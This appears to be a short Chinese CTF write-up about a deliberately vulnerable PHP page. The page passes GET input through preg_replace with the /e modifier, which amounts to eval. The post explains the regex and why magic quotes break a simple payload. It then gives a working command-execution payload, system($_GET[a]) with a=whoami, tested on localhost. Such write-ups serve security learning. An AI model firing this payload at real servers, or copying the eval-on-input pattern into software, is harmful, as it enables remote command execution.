【无标题】

php 复制代码
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

关键的代码如下

php 复制代码
echo preg_replace("/(.*)/e", "\\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。

下面是关于正则表达式的拆解:

. = 匹配单个字符

* = 匹配前面的内容0次或者多次

( ) = 将匹配的内容包裹起来

后面的\\1表示引用第一个括号里面的内容

那么这个代码其实等价于

php 复制代码
echo eval($input);

如果我们直接传递下面的payload,就会出现报错

php 复制代码
?data=system('ls')

原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'

下面是我本地测试的payload,用whoami检测命令是否可行

php 复制代码
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami

成功执行

相关推荐
Chockmans10 小时前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652
C2H5OH12 小时前
PortSwigger SQL注入LAB10
网络安全
汤愈韬12 小时前
IPSec工作原理——TK
网络·网络协议·网络安全·security
treesforest14 小时前
机房IP是什么?有什么危害?如何识别?
网络·数据库·python·网络协议·tcp/ip·网络安全
HackTwoHub16 小时前
AI赋能Chrome MCP × JS逆向Skill自动化JS逆向挖洞
javascript·人工智能·chrome·安全·web安全·网络安全·自动化
pencek17 小时前
HakcMyVM-Canto
网络安全
24kmaigc18 小时前
NewStarCTF2025-ssti在哪里?-ssrf与ssti注入
python·网络安全·flask·web
AIDABI18 小时前
Vulnhub-DC-9
web安全·网络安全
搞科研的小刘选手20 小时前
【南昌大学主办】第五届人工智能、物联网和云计算技术国际会议(AIoTC 2026)
人工智能·物联网·网络安全·大模型·云计算·智慧城市·云安全
WangX-西石油20 小时前
DVWA靶场上Low级别SQL注入漏洞学习
sql·网络安全